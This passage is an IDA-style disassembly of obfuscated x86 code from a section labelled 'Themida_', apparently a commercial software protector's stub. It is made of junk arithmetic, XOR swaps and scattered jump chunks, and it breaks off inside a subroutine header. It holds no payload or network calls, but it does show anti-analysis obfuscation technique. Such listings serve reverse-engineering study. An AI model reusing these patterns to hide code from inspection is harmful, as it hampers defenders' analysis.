loc_5894FC: ; CODE XREF: sub_585452-632j
neg ch
shl ch, 6
add ch, 8Bh
sub al, ch
pop ecx
push eax
mov al, 0A4h
shr al, 8
jmp loc_58937A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push 6E59h
mov [esp], ebx
push ecx
jmp loc_588DC0
; ---------------------------------------------------------------------------
loc_589520: ; CODE XREF: Themida_:0058BB6Cj
mov bh, 0C9h
add al, 1Dh
sub al, 0FCh
add al, bh
add al, 0FCh
jmp loc_5851E8
; ---------------------------------------------------------------------------
loc_58952F: ; CODE XREF: Themida_:0058EC19j
push 1B85h
mov [esp], ebx
mov ebx, 78895017h
xor ebx, 11105406h
jmp loc_585865
; ---------------------------------------------------------------------------
loc_589547: ; CODE XREF: Themida_:005852C0j
mov ebx, 1FDF50AFh
shl ebx, 6
add ebx, 7DF429C4h
add edi, ebx
pop ebx
pop ebp
xor edi, [esp]
xor [esp], edi
jmp loc_58F76C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589564: ; CODE XREF: sub_585452+3B1j
or edx, 4726261Fh
dec edx
inc edx
dec edx
push eax
jmp loc_58BC3C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589573: ; CODE XREF: Themida_:00585F02j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ebp
jmp loc_58C0D2
; ---------------------------------------------------------------------------
loc_58958F: ; CODE XREF: Themida_:0058A34Ej
mov esp, [esp]
push edx
mov edx, 4
jmp loc_587BBC
; ---------------------------------------------------------------------------
loc_58959D: ; CODE XREF: Themida_:005868D9j
shl ebx, 7
shr ebx, 7
add ebx, 41B00B09h
jmp loc_583F08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5895AE: ; CODE XREF: sub_585452+77Aj
mov ch, 95h
neg ch
push eax
mov ah, 5Eh
xor ch, ah
jmp loc_58F3F8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5895BC: ; CODE XREF: sub_58EFBD-305Aj
mov ebp, [esp+8+var_8]
add esp, 4
and edx, 577958E6h
push ecx
mov ecx, 0AD97EF21h
jmp loc_588B7A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_5895D6: ; CODE XREF: Themida_:00586AC1j
add ecx, 4
xchg ecx, [esp]
jmp loc_58408C
; ---------------------------------------------------------------------------
loc_5895E1: ; CODE XREF: Themida_:0058D8D7j
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5895E6: ; CODE XREF: sub_585452+2FACj
mov esi, [esp+0Ch+var_C]
add esp, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_58FE0B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5895FA: ; CODE XREF: Themida_:00583EEDj
push ebp
jmp loc_58821D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589600: ; CODE XREF: sub_585452+6EF2j
sub eax, 26D5C6Eh
add ecx, eax
jmp loc_58C2DF
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58960C proc near ; CODE XREF: sub_585452+873j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00583ECE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005851E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586C94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587A59 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588854 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00589261 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005897B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A29B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058A975 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058C1A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D586 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DE4A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058E836 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058E9A3 SIZE 00000024 BYTES
push ebp
push ebx
mov ebx, 7E9D7B99h
or ebx, 5807050Eh
xor ebx, 2F4E64E8h
mov ebp, ebx
pop ebx
jmp loc_58C1A7
sub_58960C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_589627: ; CODE XREF: Themida_:0058DDB1j
mov esi, 4
add [esp+4], esi
jmp loc_589681
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_589635: ; CODE XREF: sub_58FA66+388j
not dword ptr [esp+0]
mov eax, [esp+0]
jmp loc_589A02
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589640: ; CODE XREF: sub_585452+36A3j
pop edi
add edi, 4
add edi, 4
push edi
jmp loc_58EFB4
; ---------------------------------------------------------------------------
loc_589650: ; CODE XREF: sub_585452+F4Cj
pop eax
push ecx
mov ch, 9Fh
push ebx
mov ebx, esp
add ebx, 4
jmp loc_58867B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589662: ; CODE XREF: Themida_:0058DD25j
add esp, 4
jmp loc_589B8F
; ---------------------------------------------------------------------------
loc_58966D: ; CODE XREF: Themida_:0058D44Bj
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_58E95A
; ---------------------------------------------------------------------------
loc_589681: ; CODE XREF: Themida_:00589630j
pop esi
pop edi
push ebp
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_588ACA
; ---------------------------------------------------------------------------
loc_589691: ; CODE XREF: Themida_:00584DA2j
pop ebp
sub esp, 4
mov [esp], ecx
mov ecx, 3C687151h
inc ecx
sub ecx, 1
jmp loc_589B53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_5896AC: ; CODE XREF: sub_587574-478j
add esp, 4
and ecx, 20AE377Bh
add ecx, 735A4A50h
not ecx
push edx
mov edx, 31B92417h
shr edx, 3
xor edx, 107C46B3h
inc edx
add edx, 0D98D6F1Ah
add ecx, edx
mov edx, [esp+0]
jmp loc_58C072
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_5896DD: ; CODE XREF: sub_58EA34-A26j
add eax, 2
jmp loc_58CFC1
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5896E5: ; CODE XREF: sub_585452+7472j
pop eax
jmp loc_58ADAB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5896EB: ; CODE XREF: Themida_:0058BF37j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_583DD1
; ---------------------------------------------------------------------------
loc_5896FA: ; CODE XREF: Themida_:0058627Cj
push 3FD7h
mov [esp], ebp
mov ebp, 2045474Ch
shr ebp, 2
jmp loc_5893E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58970F: ; CODE XREF: sub_585452+23BCj
mov edx, edi
jmp loc_589CB7
; ---------------------------------------------------------------------------
loc_589716: ; CODE XREF: sub_585452-9FCj
mov ah, bh
jmp loc_587AC7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_5842B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58972B: ; CODE XREF: sub_58AB18+3j
add ebx, 4
sub ebx, 4
xchg ebx, [esp-10h+arg_C]
pop esp
mov [esp-14h+arg_10], ebp
mov ebp, 4
jmp loc_5850EA
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_589745: ; CODE XREF: sub_58EFBD-8094j
push ecx
mov ecx, 489F5319h
jmp loc_584B38
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_589750: ; CODE XREF: Themida_:0058EBEEj
add ebx, esi
pop esi
push ecx
jmp loc_58BD31
; ---------------------------------------------------------------------------
loc_589759: ; CODE XREF: Themida_:0058A2AEj
push esp
mov edi, [esp]
add esp, 4
jmp loc_58865D
; ---------------------------------------------------------------------------
loc_589765: ; CODE XREF: Themida_:0058A9C7j
push 30C94043h
pop edx
add ebx, 42CC458Fh
jmp loc_5859CF
; ---------------------------------------------------------------------------
loc_589776: ; CODE XREF: Themida_:0058A641j
inc ebx
and ebx, 4C2D16F3h
shr ebx, 4
add ebx, 0FFFFFFFFh
jmp loc_58D61B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58978B: ; CODE XREF: sub_585452-DEEj
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
jmp loc_5880BF
; ---------------------------------------------------------------------------
loc_589795: ; CODE XREF: Themida_:005865D6j
mov ecx, 6E4C6845h
add ecx, 0FFFFFFFFh
jmp loc_5846D1
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ecx
jmp loc_58E11C
; ---------------------------------------------------------------------------
loc_5897AF: ; CODE XREF: Themida_:00587EAFj
xor edx, [esp]
jmp loc_58ED64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_5897B7: ; CODE XREF: sub_58960C+138Dj
add esp, 4
jmp loc_583ECE
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_5897BF: ; CODE XREF: sub_589C10-B4Bj
mov [esp-4+arg_0], eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5897C7: ; CODE XREF: sub_585452+62j
mov ecx, 4
add edi, ecx
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
add edi, 4
xor edi, [esp+6+var_8+2]
xor [esp+6+var_8+2], edi
xor edi, [esp+6+var_8+2]
pop esp
xor [esp+4], edx
pop edx
mov eax, [esp+0]
add esp, 4
xor eax, 15D12550h
push 63DAh
mov [esp+0], ecx
push 6155h
mov [esp+2+var_4+2], eax
mov eax, 785E7382h
jmp loc_587617
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589814: ; CODE XREF: Themida_:0058ED40j
mov esp, [esp]
push dword ptr [esp]
pop ecx
jmp loc_58F531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589820: ; CODE XREF: sub_585452+6D50j
mov ecx, edi
push ecx
pop esi
pop ecx
push dword ptr [esp+0]
pop edi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58E714
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589837: ; CODE XREF: Themida_:00584520j
mov ch, 13h
jmp loc_58FEE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58983E: ; CODE XREF: sub_58622C+6862j
add ebp, 4376C68Dh
jmp loc_58DF70
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589849: ; CODE XREF: sub_585452+7999j
push edi
jmp loc_584FCB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58984F: ; CODE XREF: Themida_:0058BD59j
add esp, 4
add eax, 2
jmp loc_587473
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58985A: ; CODE XREF: sub_586A34-296Ej
add esi, ebx
jmp loc_5881C2
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
lodsb
jmp loc_58DCFB
; ---------------------------------------------------------------------------
loc_589867: ; CODE XREF: Themida_:00586ADBj
add ecx, edi
pop edi
sub ecx, 4
jmp loc_5894B6
; ---------------------------------------------------------------------------
loc_589875: ; CODE XREF: Themida_:00583F49j
mov dl, al
pop eax
pop ebx
sub al, dl
jmp loc_58EBA4
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58FF0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_58988F: ; CODE XREF: sub_5886E0+502Ej
xor ebp, 1E3C2228h
add ecx, ebp
mov ebp, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58B1C9
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5898AB: ; CODE XREF: sub_585452+21CAj
push eax
add [esp+0Ah+var_C+2], 5F7207B8h
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_588718
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_5898BE: ; CODE XREF: sub_58C230+2B2Fj
push 60BA0823h
jmp loc_58BAF8
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_5898C8: ; CODE XREF: Themida_:0058EEB5j
pop edi
mov ecx, ebp
pop ebp
add esi, ecx
pop ecx
push ebx
push ebp
mov ebp, 8CF0570h
mov ebx, 0F730FA92h
jmp loc_586D8C
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebp
push esp
pop ebp
sub esp, 4
jmp loc_58D869
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5898F2: ; CODE XREF: sub_585452+6C7Bj
pop esp
mov [esp+2+var_4+2], edi
push ecx
mov ecx, 33012311h
mov edi, 34F686F9h
jmp loc_58FD0B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589906: ; CODE XREF: Themida_:00586D18j
push ecx
mov cl, 0D0h
jmp loc_588009
; ---------------------------------------------------------------------------
loc_58990E: ; CODE XREF: Themida_:0058E04Aj
sub edi, edx
jmp loc_586ADA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589915: ; CODE XREF: sub_585452+173Dj
mov esp, [esp-0Ah+arg_4+2]
shr eax, 18h
xor eax, ecx
jmp loc_5899AC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_589922: ; CODE XREF: sub_587574+1DF8j
pop eax
push eax
mov eax, 75966EB9h
shr eax, 2
add eax, 73920C26h
jmp loc_586B3B
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589936: ; CODE XREF: sub_585452+480Bj
pop ebp
push ebp
mov ebp, 1521285h
sub ebx, ebp
pop ebp
add ebx, eax
push edi
mov edi, 4C6D4889h
jmp loc_58F165
; ---------------------------------------------------------------------------
loc_58994D: ; CODE XREF: sub_585452+1B73j
add edi, 4
jmp loc_58CD79
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589958: ; CODE XREF: Themida_:0058A58Ej
not dword ptr [esp]
jmp loc_58E859
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589960: ; CODE XREF: sub_585452+6AA4j
mov dh, ah
jmp loc_58EAF6
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_589967 proc near ; CODE XREF: sub_585452+1CD6j
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00583EC7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00583F00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005841B1 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058479F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00584A8E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00584EBA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00585F4B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058664B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005866B7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00586E80 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587360 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058817C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00588744 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005889BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588AD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058907D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A317 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BCAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BCF9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D081 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D4FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DAD1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E7F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E830 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EEC5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EF52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EF6D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058F0F9 SIZE 00000021 BYTES
sub esp, 4
jmp loc_5841B1
sub_589967 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_589972 proc near ; CODE XREF: sub_585452+854Fj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00586219 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058AD72 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BD19 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D2BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058FF3A SIZE 00000014 BYTES
sub esp, 4
jmp loc_58AD72
sub_589972 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58997D: ; CODE XREF: sub_589FD5-10ECj
mov edi, 245E6D2Eh
jmp loc_58A44E
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_589987: ; CODE XREF: sub_58F728-7B56j
sub esi, 55CE4BD3h
push ebp
jmp loc_5847B2
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_589993: ; CODE XREF: Themida_:0058A72Fj
push esi
mov esi, esp
jmp loc_58A061
; =============== S U B R O U T I N E =======================================
sub_58999B proc near ; CODE XREF: sub_58EDD1+F6Fj
var_A = dword ptr -0Ah
var_6 = dword ptr -6
var_2 = word ptr -2
arg_2 = dword ptr 6
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 00584E79 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058608E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00586971 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005872E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587658 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00587A13 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00587E7F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005886AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589BE8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058ACAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CF02 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058D4B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D93A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DDB6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058DF20 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E158 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058E21E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058E2D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EA40 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058EE8D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F082 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F337 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FAA4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058FE24 SIZE 0000000C BYTES
push bx
mov bh, 0DAh
jmp loc_58F082
sub_58999B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5899A4: ; CODE XREF: sub_585452+7667j
mov esi, [esp+12h+var_14+2]
jmp loc_58F554
; ---------------------------------------------------------------------------
loc_5899AC: ; CODE XREF: sub_585452+44CBj
push 2B77h
mov [esp-6+arg_0+2], eax
xchg eax, [esp-6+arg_0+2]
jmp loc_58FB8C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_5899BC: ; CODE XREF: sub_58DA2E-C31j
mov bh, ah
jmp loc_584FDF
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_5899C3: ; CODE XREF: Themida_:005889F2j
mov esp, [esp]
add esi, eax
push eax
mov eax, 6A6A41F6h
sub esi, eax
jmp loc_58A489
; ---------------------------------------------------------------------------
loc_5899D5: ; CODE XREF: Themida_:0058DC91j
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_58FE6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5899E9: ; CODE XREF: sub_585452+3029j
push eax
mov ah, 0B2h
xor ah, 93h
mov dh, ah
mov eax, [esp+0Ch+var_C]
add esp, 4
mov ch, dh
pop edx
shl ch, 7
jmp loc_58BBBC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_589A02: ; CODE XREF: sub_58FA66-642Bj
add esp, 4
push 55DBh
mov [esp+0], ecx
sub esp, 4
jmp loc_5862D9
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_589A18: ; CODE XREF: Themida_:00586B50j
mov edx, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_589A33: ; CODE XREF: Themida_:00584692j
mov ecx, 7A36216Fh
xor ecx, 1E2B41h
xor ecx, 7A280A2Ah
add ebx, ecx
jmp loc_58EA03
; ---------------------------------------------------------------------------
loc_589A4B: ; CODE XREF: Themida_:0058D198j
add edi, ebx
add edi, 400362DBh
pop ebx
jmp loc_58B895
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589A59: ; CODE XREF: sub_585452+83C4j
pop ecx
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
add esp, 4
shr ecx, 7
jmp loc_58E745
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589A6E: ; CODE XREF: Themida_:005886CBj
mov ebp, 4
add ebx, ebp
pop ebp
push ecx
mov ecx, 6F396DE9h
or ecx, 66406E08h
push edx
mov edx, 78753804h
and edx, 4C0918DBh
jmp loc_58DBC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589A93: ; CODE XREF: sub_585452+4E8Bj
mov eax, 25373DE4h
jmp loc_58DFC7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_589A9D: ; CODE XREF: sub_58F3BC-B347j
pop ebp
push [esp-8+arg_0]
mov edi, [esp+0]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
sub esp, 4
jmp loc_58F27E
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
loc_589ABE: ; CODE XREF: Themida_:00586364j
sub ebx, ecx
pop ecx
add ebx, 5D3C2269h
push ebp
mov ebp, 779676BAh
not ebp
jmp loc_58D90C
; ---------------------------------------------------------------------------
loc_589AD4: ; CODE XREF: Themida_:00587114j
mov edi, 4541ADh
add ebx, edi
pop edi
push edi
mov edi, 86B7D24Ch
add ebx, 0C246DD5h
push ecx
jmp loc_5893AD
; ---------------------------------------------------------------------------
loc_589AEE: ; CODE XREF: Themida_:00588537j
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push 5F3Fh
mov [esp], edx
push eax
push ebx
mov ebx, 0AE56A09h
mov eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_586EF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589B18: ; CODE XREF: sub_585452+EC3j
sub edi, 421F5606h
push 8ECh
mov [esp-24h+arg_1E+2], eax
jmp loc_5882EA
; ---------------------------------------------------------------------------
loc_589B2B: ; CODE XREF: sub_585452+3122j
pop eax
or eax, 273D4599h
inc eax
sub eax, 773F4596h
mov edi, eax
jmp loc_58946A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589B3E: ; CODE XREF: Themida_:0058BA3Aj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_58C360
; ---------------------------------------------------------------------------
loc_589B53: ; CODE XREF: Themida_:005896A7j
push eax
mov eax, 3C68714Dh
sub ecx, eax
pop eax
push ebx
mov ebx, 29795121h
jmp loc_583DD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589B67: ; CODE XREF: sub_585452+AAB8j
sub ebp, 6EA937E6h
jmp loc_584812
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsb
sub esp, 2
mov [esp], dx
push ebx
mov bh, 43h
jmp loc_58925B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58905F
loc_589B82: ; CODE XREF: sub_58905F-4F61j
push eax
push esi
push 3F1C0C8Dh
pop esi
jmp loc_584F12
; END OF FUNCTION CHUNK FOR sub_58905F
; ---------------------------------------------------------------------------
loc_589B8F: ; CODE XREF: Themida_:00589668j
add esp, 4
push esi
mov esi, esp
jmp loc_5889F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589B9D: ; CODE XREF: sub_585452+B6Aj
push edx
jmp sub_584FAB
; ---------------------------------------------------------------------------
loc_589BA3: ; CODE XREF: sub_585452+175Aj
push eax
jmp loc_58535F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589BA9: ; CODE XREF: Themida_:0058E9D3j
mov ecx, 723B6127h
add eax, ecx
mov ecx, [esp]
add esp, 4
add eax, ebx
sub eax, 723B6127h
push edi
push ebx
mov ebx, 6F22848h
mov edi, 290B3BA1h
xor edi, ebx
pop ebx
jmp loc_589E61
; ---------------------------------------------------------------------------
loc_589BD4: ; CODE XREF: Themida_:00589F3Dj
add ecx, 4
jmp loc_58F237
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583C38
loc_589BDC: ; CODE XREF: sub_583C38+473Ej
add esp, 4
or [edi+1Ch], ebp
pop ebp
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_583C38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_589BE8: ; CODE XREF: sub_58999B+56EBj
sub al, bl
push bx
mov bl, 0DAh
add al, bl
pop bx
sub al, 9Dh
pop ebx
push ecx
mov cl, 55h
inc cl
push 0
sub byte ptr [esp-6+arg_2], cl
mov cl, byte ptr [esp-6+arg_2]
add esp, 4
sub cl, 6Dh
jmp loc_58FAA4
; END OF FUNCTION CHUNK FOR sub_58999B
; =============== S U B R O U T I N E =======================================
sub_589C10 proc near ; CODE XREF: sub_585452+1C7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058419B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00584F30 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585FDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00587BEA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588DCB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005890BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005894BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005897BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B154 SIZE 00000028 BYTES
